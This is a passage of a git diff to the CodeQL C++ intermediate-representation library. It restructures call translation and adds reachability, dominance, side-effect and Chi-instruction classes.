Gets the instruction whose result value is the target of the call. By - * default, this is just the result of `getCallTarget()`, but it can be - * overridden by a subclass for cases where there is a call target that is not - * computed from an expression (e.g. a direct call). - */ - Instruction getCallTargetResult() { - result = getCallTarget().getResult() - } - - /** - * Gets the `TranslatedExpr` for the qualifier of the call (i.e. the value - * that is passed as the `this` argument. - */ - abstract TranslatedExpr getQualifier(); - - /** - * Gets the instruction whose result value is the `this` argument of the call. - * By default, this is just the result of `getQualifier()`, but it can be - * overridden by a subclass for cases where there is a `this` argument that is - * not computed from a child expression (e.g. a constructor call). - */ - Instruction getQualifierResult() { - result = getQualifier().getResult() - } - - /** - * Gets the argument with the specified `index`. Does not include the `this` - * argument. - */ - abstract TranslatedExpr getArgument(int index); - - /** - * If there are any arguments, gets the first instruction of the first - * argument. Otherwise, returns the call instruction. - */ - final Instruction getFirstArgumentOrCallInstruction() { - if hasArguments() then - result = getArgument(0).getFirstInstruction() - else - result = getInstruction(CallTag()) - } - - /** - * Holds if the call has any arguments, not counting the `this` argument. - */ - abstract predicate hasArguments(); -} - /** * The IR translation of the allocation size argument passed to `operator new` * in a `new` expression. @@ -2089,45 +1933,6 @@ class TranslatedNonConstantAllocationSize extends TranslatedAllocationSize { } } -/** - * IR translation of a direct call to a specific function. Used for both - * explicit calls (`TranslatedFunctionCall`) and implicit calls - * (`TranslatedAllocatorCall`). - */ -abstract class TranslatedDirectCall extends TranslatedCall { - override final Instruction getFirstCallTargetInstruction() { - result = getInstruction(CallTargetTag()) - } - - override final Instruction getCallTargetResult() { - result = getInstruction(CallTargetTag()) - } - - override predicate hasInstruction(Opcode opcode, InstructionTag tag, - Type resultType, boolean isGLValue) { - TranslatedCall.super.hasInstruction(opcode, tag, resultType, isGLValue) or - ( - tag = CallTargetTag() and - opcode instanceof Opcode::FunctionAddress and - // The database does not contain a `FunctionType` for a function unless - // its address was taken, so we'll just use glval instead of - // glval. - resultType instanceof UnknownType and - isGLValue = true - ) - } - - override Instruction getInstructionSuccessor(InstructionTag tag, - EdgeKind kind) { - result = TranslatedCall.super.getInstructionSuccessor(tag, kind) or - ( - tag = CallTargetTag() and - kind instanceof GotoEdge and - result = getFirstArgumentOrCallInstruction() - ) - } -} - /** * The IR translation of a call to `operator new` as part of a `new` or `new[]` * expression. @@ -2185,65 +1990,6 @@ class TranslatedAllocatorCall extends TTranslatedAllocatorCall, TranslatedAllocatorCall getTranslatedAllocatorCall(NewOrNewArrayExpr newExpr) { result.getAST() = newExpr } - -/** - * The IR translation of a call to a function. - */ -abstract class TranslatedCallExpr extends TranslatedNonConstantExpr, - TranslatedCall { - Call call; - - TranslatedCallExpr() { - expr = call - } - - override final Type getCallResultType() { - result = getResultType() - } - - override final predicate hasArguments() { - exists(call.getArgument(0)) - } - - override final TranslatedExpr getQualifier() { - result = getTranslatedExpr(call.getQualifier().getFullyConverted()) - } - - override final TranslatedExpr getArgument(int index) { - result = getTranslatedExpr(call.getArgument(index).getFullyConverted()) - } -} - -/** - * Represents the IR translation of a call through a function pointer. - */ -class TranslatedExprCall extends TranslatedCallExpr { - ExprCall exprCall; - - TranslatedExprCall() { - expr = exprCall - } - - override TranslatedExpr getCallTarget() { - result = getTranslatedExpr(exprCall.getExpr().getFullyConverted()) - } -} - -/** - * Represents the IR translation of a direct function call. - */ -class TranslatedFunctionCall extends TranslatedCallExpr, TranslatedDirectCall { - FunctionCall funcCall; - - TranslatedFunctionCall() { - expr = funcCall - } - - override Function getInstructionFunction(InstructionTag tag) { - tag = CallTargetTag() and result = funcCall.getTarget() - } -} - /** * Abstract class implemented by any `TranslatedElement` that has a child * expression that is a call to a constructor or destructor, in order to @@ -2257,27 +2003,6 @@ abstract class StructorCallContext extends TranslatedElement { abstract Instruction getReceiver(); } -/** - * Represents the IR translation of a call to a constructor. - */ -class TranslatedStructorCall extends TranslatedFunctionCall { - TranslatedStructorCall() { - funcCall instanceof ConstructorCall or - funcCall instanceof DestructorCall - } - - override Instruction getQualifierResult() { - exists(StructorCallContext context | - context = getParent() and - result = context.getReceiver() - ) - } - - override predicate hasQualifier() { - any() - } -} - /** * Represents the IR translation of the destruction of a field from within * the destructor of the field's declaring class. diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedFunction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedFunction.qll index be1c3a606d9..e90d773516e 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedFunction.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedFunction.qll @@ -76,6 +76,9 @@ class TranslatedFunction extends TranslatedElement, ( ( tag = EnterFunctionTag() and + result = getInstruction(AliasedDefinitionTag()) + ) or ( + tag = AliasedDefinitionTag() and result = getInstruction(UnmodeledDefinitionTag()) ) or ( @@ -153,6 +156,12 @@ class TranslatedFunction extends TranslatedElement, resultType instanceof UnknownType and isGLValue = false ) or + ( + tag = AliasedDefinitionTag() and + opcode instanceof Opcode::AliasedDefinition and + resultType instanceof UnknownType and + isGLValue = false + ) or ( tag = InitializeThisTag() and opcode instanceof Opcode::InitializeThis and @@ -218,6 +227,11 @@ class TranslatedFunction extends TranslatedElement, result.getFunction() = func and result.hasMemoryResult() ) or + ( + tag = UnmodeledUseTag() and + operandTag instanceof UnmodeledUseOperandTag and + result = getUnmodeledDefinitionInstruction() + ) or ( tag = ReturnTag() and not getReturnType() instanceof VoidType and diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedInitialization.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedInitialization.qll index 49194bd176b..6d026f0c2bf 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedInitialization.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedInitialization.qll @@ -148,7 +148,11 @@ class TranslatedArrayListInitialization extends } override TranslatedElement getChild(int id) { - result = getTranslatedElementInitialization(initList, id) + // The children are in initialization order + result = rank[id + 1](TranslatedElementInitialization init | + init.getInitList() = initList | + init order by init.getElementIndex() + ) } } @@ -668,15 +672,6 @@ class TranslatedFieldValueInitialization extends } } -/** - * Gets the `TranslatedElementInitialization` for element `elementIndex` in - * initializer list `initList`. - */ -TranslatedElementInitialization getTranslatedElementInitialization( - ArrayAggregateLiteral initList, int elementIndex) { - result.getInitList() = initList and result.getElementIndex() = elementIndex -} - /** * Represents the IR translation of the initialization of an array element from * an element of an initializer list. @@ -717,7 +712,7 @@ abstract class TranslatedElementInitialization extends TranslatedElement { } override Instruction getInstructionSuccessor(InstructionTag tag, - EdgeKind kind) { + EdgeKind kind) { tag = getElementIndexTag() and result = getInstruction(getElementAddressTag()) and kind instanceof GotoEdge @@ -767,9 +762,8 @@ abstract class TranslatedElementInitialization extends TranslatedElement { * Represents the IR translation of the initialization of an array element from * an explicit element in an initializer list. */ -class TranslatedExplicitElementInitialization extends - TranslatedElementInitialization, TTranslatedExplicitElementInitialization, - InitializationContext { +class TranslatedExplicitElementInitialization extends TranslatedElementInitialization, + TTranslatedExplicitElementInitialization, InitializationContext { int elementIndex; TranslatedExplicitElementInitialization() { @@ -785,7 +779,7 @@ class TranslatedExplicitElementInitialization extends } override Instruction getInstructionSuccessor(InstructionTag tag, - EdgeKind kind) { + EdgeKind kind) { result = TranslatedElementInitialization.super.getInstructionSuccessor(tag, kind) or ( tag = getElementAddressTag() and @@ -816,8 +810,8 @@ class TranslatedExplicitElementInitialization extends * Represents the IR translation of the initialization of a range of array * elements without corresponding elements in the initializer list. */ -class TranslatedElementValueInitialization extends - TranslatedElementInitialization, TTranslatedElementValueInitialization { +class TranslatedElementValueInitialization extends TranslatedElementInitialization, + TTranslatedElementValueInitialization { int elementIndex; int elementCount; diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/Dominance.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/Dominance.qll new file mode 100644 index 00000000000..7521407530a --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/Dominance.qll @@ -0,0 +1,21 @@ +private import DominanceInternal + +predicate blockImmediatelyDominates(Graph::Block dominator, Graph::Block block) = + idominance(Graph::isEntryBlock/1, Graph::blockSuccessor/2)(_, dominator, block) + +predicate blockStrictlyDominates(Graph::Block dominator, Graph::Block block) { + blockImmediatelyDominates+(dominator, block) +} + +predicate blockDominates(Graph::Block dominator, Graph::Block block) { + blockStrictlyDominates(dominator, block) or dominator = block +} + +pragma[noinline] +Graph::Block getDominanceFrontier(Graph::Block dominator) { + exists(Graph::Block pred | + Graph::blockSuccessor(pred, result) and + blockDominates(dominator, pred) and + not blockStrictlyDominates(dominator, result) + ) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/DominanceInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/DominanceInternal.qll new file mode 100644 index 00000000000..dfe9b52f1a4 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/DominanceInternal.qll @@ -0,0 +1,7 @@ +private import ReachableBlock as Reachability +private module ReachabilityGraph = Reachability::Graph; + +module Graph { + import Reachability::Graph + class Block = Reachability::ReachableBlock; +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/PrintDominance.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/PrintDominance.qll new file mode 100644 index 00000000000..5242b135f4e --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/PrintDominance.qll @@ -0,0 +1,21 @@ +private import DominanceInternal +private import ReachableBlockInternal +private import Dominance +import IR + +private class DominancePropertyProvider extends IRPropertyProvider { + override string getBlockProperty(IRBlock block, string key) { + exists(IRBlock dominator | + blockImmediatelyDominates(dominator, block) and + key = "ImmediateDominator" and + result = "Block " + dominator.getDisplayIndex().toString() + ) or + ( + key = "DominanceFrontier" and + result = strictconcat(IRBlock frontierBlock | + frontierBlock = getDominanceFrontier(block) | + frontierBlock.getDisplayIndex().toString(), ", " order by frontierBlock.getDisplayIndex() + ) + ) + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/PrintReachableBlock.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/PrintReachableBlock.qll new file mode 100644 index 00000000000..1af465d6ec9 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/PrintReachableBlock.qll @@ -0,0 +1,20 @@ +private import ReachableBlockInternal +private import ReachableBlock +import IR + +private class ReachableBlockPropertyProvider extends IRPropertyProvider { + override string getBlockProperty(IRBlock block, string key) { + ( + not block instanceof ReachableBlock and + key = "Unreachable" and + result = "true" + ) or + ( + exists(EdgeKind kind | + isInfeasibleEdge(block, kind) and + key = "Infeasible(" + kind.toString() + ")" and + result = "true" + ) + ) + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/ReachableBlock.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/ReachableBlock.qll new file mode 100644 index 00000000000..0af226fad27 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/ReachableBlock.qll @@ -0,0 +1,70 @@ +private import ReachableBlockInternal +private import semmle.code.cpp.ir.internal.IntegerConstant +private import IR +private import ConstantAnalysis + +predicate isInfeasibleInstructionSuccessor(Instruction instr, EdgeKind kind) { + exists(int conditionValue | + conditionValue = getValue(getConstantValue(instr.(ConditionalBranchInstruction).getCondition())) and + if conditionValue = 0 then + kind instanceof TrueEdge + else + kind instanceof FalseEdge + ) +} + +predicate isInfeasibleEdge(IRBlockBase block, EdgeKind kind) { + isInfeasibleInstructionSuccessor(block.getLastInstruction(), kind) +} + +private IRBlock getAFeasiblePredecessorBlock(IRBlock successor) { + exists(EdgeKind kind | + result.getSuccessor(kind) = successor and + not isInfeasibleEdge(result, kind) + ) +} + +private predicate isBlockReachable(IRBlock block) { + exists(FunctionIR f | + getAFeasiblePredecessorBlock*(block) = f.getEntryBlock() + ) +} + +/** + * An IR block that is reachable from the entry block of the function, considering only feasible + * edges. + */ +class ReachableBlock extends IRBlockBase { + ReachableBlock() { + isBlockReachable(this) + } + + final ReachableBlock getAFeasiblePredecessor() { + result = getAFeasiblePredecessorBlock(this) + } + + final ReachableBlock getAFeasibleSuccessor() { + this = getAFeasiblePredecessorBlock(result) + } +} + +/** + * An instruction that is contained in a reachable block. + */ +class ReachableInstruction extends Instruction { + ReachableInstruction() { + this.getBlock() instanceof ReachableBlock + } +} + +module Graph { + predicate isEntryBlock(ReachableBlock block) { + exists(FunctionIR f | + block = f.getEntryBlock() + ) + } + + predicate blockSuccessor(ReachableBlock pred, ReachableBlock succ) { + succ = pred.getAFeasibleSuccessor() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/ReachableBlockInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/ReachableBlockInternal.qll new file mode 100644 index 00000000000..e58552be10f --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/reachability/ReachableBlockInternal.qll @@ -0,0 +1,2 @@ +import semmle.code.cpp.ir.implementation.raw.IR as IR +import semmle.code.cpp.ir.implementation.raw.constant.ConstantAnalysis as ConstantAnalysis \ No newline at end of file diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRBlock.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRBlock.qll index c51b05a073b..f94fad4f527 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRBlock.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/IRBlock.qll @@ -1,9 +1,20 @@ private import internal.IRInternal import Instruction import semmle.code.cpp.ir.implementation.EdgeKind -private import Construction::BlockConstruction +private import Cached -class IRBlock extends TIRBlock { +/** + * A basic block in the IR. A basic block consists of a sequence of `Instructions` with the only + * incoming edges at the beginning of the sequence and the only outgoing edges at the end of the + * sequence. + * + * This class does not contain any members that query the predecessor or successor edges of the + * block. This allows different classes that extend `IRBlockBase` to expose different subsets of + * edges (e.g. ignoring unreachable edges). + * + * Most consumers should use the class `IRBlock`. + */ +class IRBlockBase extends TIRBlock { final string toString() { result = getFirstInstruction(this).toString() } @@ -59,7 +70,14 @@ class IRBlock extends TIRBlock { final Function getFunction() { result = getFirstInstruction(this).getFunction() } +} +/** + * A basic block with additional information about its predecessor and successor edges. Each edge + * corresponds to the control flow between the last instruction of one block and the first + * instruction of another block. + */ +class IRBlock extends IRBlockBase { final IRBlock getASuccessor() { blockSuccessor(this, result) } @@ -98,3 +116,82 @@ class IRBlock extends TIRBlock { getAPredecessor().isReachableFromFunctionEntry() } } + +private predicate startsBasicBlock(Instruction instr) { + not instr instanceof PhiInstruction and + ( + count(Instruction predecessor | + instr = predecessor.getASuccessor() + ) != 1 or // Multiple predecessors or no predecessor + exists(Instruction predecessor | + instr = predecessor.getASuccessor() and + strictcount(Instruction other | + other = predecessor.getASuccessor() + ) > 1 + ) or // Predecessor has multiple successors + exists(Instruction predecessor, EdgeKind kind | + instr = predecessor.getSuccessor(kind) and + not kind instanceof GotoEdge + ) // Incoming edge is not a GotoEdge + ) +} + +private predicate isEntryBlock(TIRBlock block) { + block = MkIRBlock(any(EnterFunctionInstruction enter)) +} + +private cached module Cached { + cached newtype TIRBlock = + MkIRBlock(Instruction firstInstr) { + startsBasicBlock(firstInstr) + } + + /** Holds if `i2` follows `i1` in a `IRBlock`. */ + private predicate adjacentInBlock(Instruction i1, Instruction i2) { + exists(GotoEdge edgeKind | i2 = i1.getSuccessor(edgeKind)) and + not startsBasicBlock(i2) + } + + /** Gets the index of `i` in its `IRBlock`. */ + private int getMemberIndex(Instruction i) { + startsBasicBlock(i) and + result = 0 + or + exists(Instruction iPrev | + adjacentInBlock(iPrev, i) and + result = getMemberIndex(iPrev) + 1 + ) + } + + /** Holds if `i` is the `index`th instruction in `block`. */ + cached Instruction getInstruction(TIRBlock block, int index) { + exists(Instruction first | + block = MkIRBlock(first) and + index = getMemberIndex(result) and + adjacentInBlock*(first, result) + ) + } + + cached int getInstructionCount(TIRBlock block) { + result = strictcount(getInstruction(block, _)) + } + + cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ, EdgeKind kind) { + exists(Instruction predLast, Instruction succFirst | + predLast = getInstruction(pred, getInstructionCount(pred) - 1) and + succFirst = predLast.getSuccessor(kind) and + succ = MkIRBlock(succFirst) + ) + } + + cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ) { + blockSuccessor(pred, succ, _) + } + + cached predicate blockImmediatelyDominates(TIRBlock dominator, TIRBlock block) = + idominance(isEntryBlock/1, blockSuccessor/2)(_, dominator, block) +} + +Instruction getFirstInstruction(TIRBlock block) { + block = MkIRBlock(result) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Instruction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Instruction.qll index 99255b8ffa5..d956421a268 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Instruction.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Instruction.qll @@ -33,11 +33,18 @@ module InstructionSanity { ) or opcode instanceof CopyOpcode and tag instanceof CopySourceOperandTag or opcode instanceof MemoryAccessOpcode and tag instanceof AddressOperandTag or + opcode instanceof BufferAccessOpcode and tag instanceof BufferSizeOperand or opcode instanceof OpcodeWithCondition and tag instanceof ConditionOperandTag or opcode instanceof Opcode::ReturnValue and tag instanceof ReturnValueOperandTag or opcode instanceof Opcode::ThrowValue and tag instanceof ExceptionOperandTag or opcode instanceof Opcode::UnmodeledUse and tag instanceof UnmodeledUseOperandTag or - opcode instanceof Opcode::Call and tag instanceof CallTargetOperandTag + opcode instanceof Opcode::Call and tag instanceof CallTargetOperandTag or + opcode instanceof Opcode::Chi and tag instanceof ChiTotalOperandTag or + opcode instanceof Opcode::Chi and tag instanceof ChiPartialOperandTag or + ( + (opcode instanceof ReadSideEffectOpcode or opcode instanceof MayWriteSideEffectOpcode) and + tag instanceof SideEffectOperandTag + ) ) ) } @@ -95,7 +102,8 @@ module InstructionSanity { not exists(instr.getASuccessor()) and not instr instanceof ExitFunctionInstruction and // Phi instructions aren't linked into the instruction-level flow graph. - not instr instanceof PhiInstruction + not instr instanceof PhiInstruction and + not instr instanceof UnreachedInstruction } /** @@ -162,9 +170,9 @@ class Instruction extends Construction::TInstruction { */ final string getOperationString() { if exists(getImmediateString()) then - result = opcode.toString() + "[" + getImmediateString() + "]" + result = getOperationPrefix() + opcode.toString() + "[" + getImmediateString() + "]" else - result = opcode.toString() + result = getOperationPrefix() + opcode.toString() } /** @@ -174,6 +182,13 @@ class Instruction extends Construction::TInstruction { none() } + private string getOperationPrefix() { + if this instanceof SideEffectInstruction then + result = "^" + else + result = "" + } + private string getResultPrefix() { if resultType instanceof VoidType then result = "v" @@ -437,8 +452,7 @@ class Instruction extends Construction::TInstruction { final predicate isResultModeled() { // Register results are always in SSA form. not hasMemoryResult() or - // An unmodeled result will have a use on the `UnmodeledUse` instruction. - not (getAUse() instanceof UnmodeledUseOperand) + Construction::hasModeledMemoryResult(this) } /** @@ -581,7 +595,7 @@ class FieldAddressInstruction extends FieldInstruction { } } -class UninitializedInstruction extends Instruction { +class UninitializedInstruction extends VariableInstruction { UninitializedInstruction() { opcode instanceof Opcode::Uninitialized } @@ -589,6 +603,13 @@ class UninitializedInstruction extends Instruction { override final MemoryAccessKind getResultMemoryAccess() { result instanceof IndirectMemoryAccess } + + /** + * Gets the `LocalVariable` that is uninitialized. + */ + final LocalVariable getLocalVariable() { + result = var.(IRUserVariable).getVariable() + } } class NoOpInstruction extends Instruction { @@ -1084,14 +1105,157 @@ class SwitchInstruction extends Instruction { } } +/** + * An instruction that calls a function. + */ class CallInstruction extends Instruction { CallInstruction() { opcode instanceof Opcode::Call } + /** + * Gets the `Instruction` that computes the target function of the call. This is usually a + * `FunctionAddress` instruction, but can also be an arbitrary instruction that produces a + * function pointer. + */ final Instruction getCallTarget() { result = getAnOperand().(CallTargetOperand).getDefinitionInstruction() } + + /** + * Gets all of the arguments of the call, including the `this` pointer, if any. + */ + final Instruction getAnArgument() { + result = getAnOperand().(ArgumentOperand).getDefinitionInstruction() + } + + /** + * Gets the `this` pointer argument of the call, if any. + */ + final Instruction getThisArgument() { + result = getAnOperand().(ThisArgumentOperand).getDefinitionInstruction() + } + + /** + * Gets the argument at the specified index. + */ + final Instruction getPositionalArgument(int index) { + exists(PositionalArgumentOperand operand | + operand = getAnOperand() and + operand.getIndex() = index and + result = operand.getDefinitionInstruction() + ) + } +} + +/** + * An instruction representing a side effect of a function call. + */ +class SideEffectInstruction extends Instruction { + SideEffectInstruction() { + opcode instanceof SideEffectOpcode + } + + final Instruction getPrimaryInstruction() { + result = Construction::getPrimaryInstructionForSideEffect(this) + } +} + +/** + * An instruction representing the side effect of a function call on any memory that might be + * accessed by that call. + */ +class CallSideEffectInstruction extends SideEffectInstruction { + CallSideEffectInstruction() { + opcode instanceof Opcode::CallSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof EscapedMemoryAccess + } +} + +/** + * An instruction representing the side effect of a function call on any memory that might be read + * by that call. + */ +class CallReadSideEffectInstruction extends SideEffectInstruction { + CallReadSideEffectInstruction() { + opcode instanceof Opcode::CallReadSideEffect + } +} + +/** + * An instruction representing the read of an indirect parameter within a function call. + */ +class IndirectReadSideEffectInstruction extends SideEffectInstruction { + IndirectReadSideEffectInstruction() { + opcode instanceof Opcode::IndirectReadSideEffect + } +} + +/** + * An instruction representing the read of an indirect buffer parameter within a function call. + */ +class BufferReadSideEffectInstruction extends SideEffectInstruction { + BufferReadSideEffectInstruction() { + opcode instanceof Opcode::BufferReadSideEffect + } +} + +/** + * An instruction representing the write of an indirect parameter within a function call. + */ +class IndirectWriteSideEffectInstruction extends SideEffectInstruction { + IndirectWriteSideEffectInstruction() { + opcode instanceof Opcode::IndirectWriteSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof IndirectMemoryAccess + } +} + +/** + * An instruction representing the write of an indirect buffer parameter within a function call. The + * entire buffer is overwritten. + */ +class BufferWriteSideEffectInstruction extends SideEffectInstruction { + BufferWriteSideEffectInstruction() { + opcode instanceof Opcode::BufferWriteSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof BufferMemoryAccess + } +} + +/** + * An instruction representing the potential write of an indirect parameter within a function call. + * Unlike `IndirectWriteSideEffectInstruction`, the location might not be completely overwritten. + * written. + */ +class IndirectMayWriteSideEffectInstruction extends SideEffectInstruction { + IndirectMayWriteSideEffectInstruction() { + opcode instanceof Opcode::IndirectMayWriteSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof IndirectMayMemoryAccess + } +} + +/** + * An instruction representing the write of an indirect buffer parameter within a function call. + * Unlike `BufferWriteSideEffectInstruction`, the buffer might not be completely overwritten. + */ +class BufferMayWriteSideEffectInstruction extends SideEffectInstruction { + BufferMayWriteSideEffectInstruction() { + opcode instanceof Opcode::BufferMayWriteSideEffect + } + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof BufferMayMemoryAccess + } } /** @@ -1195,6 +1359,19 @@ class UnmodeledDefinitionInstruction extends Instruction { } } +/** + * An instruction that initializes all escaped memory. + */ +class AliasedDefinitionInstruction extends Instruction { + AliasedDefinitionInstruction() { + opcode instanceof Opcode::AliasedDefinition + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof EscapedMemoryAccess + } +} + class UnmodeledUseInstruction extends Instruction { UnmodeledUseInstruction() { opcode instanceof Opcode::UnmodeledUse @@ -1205,6 +1382,16 @@ class UnmodeledUseInstruction extends Instruction { } } +/** + * An instruction representing the choice of one of multiple input values based on control flow. + * + * A `PhiInstruction` is inserted at the beginning of a block whenever two different definitions of + * the same variable reach that block. The `PhiInstruction` will have one operand corresponding to + * each control flow predecessor of the block, with that operand representing the version of the + * variable that flows from that predecessor. The result value of the `PhiInstruction` will be + * a copy of whichever operand corresponds to the actual predecessor that entered the block at + * runtime. + */ class PhiInstruction extends Instruction { PhiInstruction() { opcode instanceof Opcode::Phi @@ -1215,6 +1402,84 @@ class PhiInstruction extends Instruction { } } +/** + * An instruction representing the effect that a write to a memory may have on potential aliases of + * that memory. + * + * A `ChiInstruction` is inserted immediately after an instruction that writes to memory. The + * `ChiInstruction` has two operands. The first operand, given by `getTotalOperand()`, represents + * the previous state of all of the memory that might be alised by the memory write. The second + * operand, given by `getPartialOperand()`, represents the memory that was actually modified by the + * memory write. The result of the `ChiInstruction` represents the same memory as + * `getTotalOperand()`, updated to include the changes due to the value that was actually stored by + * the memory write. + * + * As an example, suppose that variable `p` and `q` are pointers that may or may not point to the + * same memory: + * ``` + * *p = 5; + * x = *q; + * ``` + * + * The IR would look like: + * ``` + * r1_1 = VariableAddress[p] + * r1_2 = Load r1_1, m0_0 // Load the value of `p` + * r1_3 = Constant[5] + * m1_4 = Store r1_2, r1_3 // Store to `*p` + * m1_5 = ^Chi m0_1, m1_4 // Side effect of the previous Store on aliased memory + * r1_6 = VariableAddress[x] + * r1_7 = VariableAddress[q] + * r1_8 = Load r1_7, m0_2 // Load the value of `q` + * r1_9 = Load r1_8, m1_5 // Load the value of `*q` + * m1_10 = Store r1_6, r1_9 // Store to x + * ``` + * + * Note the `Chi` instruction after the store to `*p`. The indicates that the previous contents of + * aliased memory (`m0_1`) are merged with the new value written by the store (`m1_4`), producing a + * new version of aliased memory (`m1_5`). On the subsequent load from `*q`, the source operand of + * `*q` is `m1_5`, indicating that the store to `*p` may (or may not) have updated the memory + * pointed to by `q`. + * + * For more information about how `Chi` instructions are used to model memory side effects, see + * https://link.springer.com/content/pdf/10.1007%2F3-540-61053-7_66.pdf. + */ +class ChiInstruction extends Instruction { + ChiInstruction() { + opcode instanceof Opcode::Chi + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof ChiTotalMemoryAccess + } + + /** + * Gets the operand that represents the previous state of all memory that might be aliased by the + * memory write. + */ + final Instruction getTotalOperand() { + result = getAnOperand().(ChiTotalOperand).getDefinitionInstruction() + } + + /** + * Gets the operand that represents the new value written by the memory write. + */ + final Instruction getPartialOperand() { + result = getAnOperand().(ChiPartialOperand).getDefinitionInstruction() + } +} + +/** + * An instruction representing unreachable code. Inserted in place of the original target + * instruction of a `ConditionalBranch` or `Switch` instruction where that particular edge is + * infeasible. + */ +class UnreachedInstruction extends Instruction { + UnreachedInstruction() { + opcode instanceof Opcode::Unreached + } +} + /** * An instruction representing a built-in operation. This is used to represent * operations such as access to variable argument lists. diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Operand.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Operand.qll index 4cc82d0906c..edf8e141764 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Operand.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/Operand.qll @@ -304,6 +304,45 @@ class PositionalArgumentOperand extends ArgumentOperand { override string toString() { result = "Arg(" + argIndex + ")" } + + /** + * Gets the zero-based index of the argument. + */ + final int getIndex() { + result = argIndex + } +} + +class SideEffectOperand extends NonPhiOperand { + SideEffectOperand() { + this = TNonPhiOperand(_, sideEffectOperand(), _) + } + + override MemoryAccessKind getMemoryAccess() { + instr instanceof CallSideEffectInstruction and + result instanceof EscapedMemoryAccess + or + instr instanceof CallReadSideEffectInstruction and + result instanceof EscapedMemoryAccess + or + instr instanceof IndirectReadSideEffectInstruction and + result instanceof IndirectMemoryAccess + or + instr instanceof BufferReadSideEffectInstruction and + result instanceof BufferMemoryAccess + or + instr instanceof IndirectWriteSideEffectInstruction and + result instanceof IndirectMemoryAccess + or + instr instanceof BufferWriteSideEffectInstruction and + result instanceof BufferMemoryAccess + or + instr instanceof IndirectMayWriteSideEffectInstruction and + result instanceof IndirectMayMemoryAccess + or + instr instanceof BufferMayWriteSideEffectInstruction and + result instanceof BufferMayMemoryAccess + } } /** @@ -358,3 +397,38 @@ class MemoryOperand extends Operand { exists(getMemoryAccess()) } } + +/** + * The total operand of a Chi node, representing the previous value of the memory. + */ +class ChiTotalOperand extends Operand { + ChiTotalOperand() { + this = TNonPhiOperand(_, chiTotalOperand(), _) + } + + override string toString() { + result = "ChiTotal" + } + + override final MemoryAccessKind getMemoryAccess() { + result instanceof ChiTotalMemoryAccess + } +} + + +/** + * The partial operand of a Chi node, representing the value being written to part of the memory. + */ +class ChiPartialOperand extends Operand { + ChiPartialOperand() { + this = TNonPhiOperand(_, chiPartialOperand(), _) + } + + override string toString() { + result = "ChiPartial" + } + + override final MemoryAccessKind getMemoryAccess() { + result instanceof ChiPartialMemoryAccess + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/ConstantAnalysis.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/ConstantAnalysis.qll new file mode 100644 index 00000000000..382ffdd0ae3 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/unaliased_ssa/constant/ConstantAnalysis.qll @@ -0,0 +1,38 @@ +private import internal.ConstantAnalysisInternal +import semmle.code.cpp.ir.internal.IntegerConstant +private import IR + +language[monotonicAggregates] +IntValue 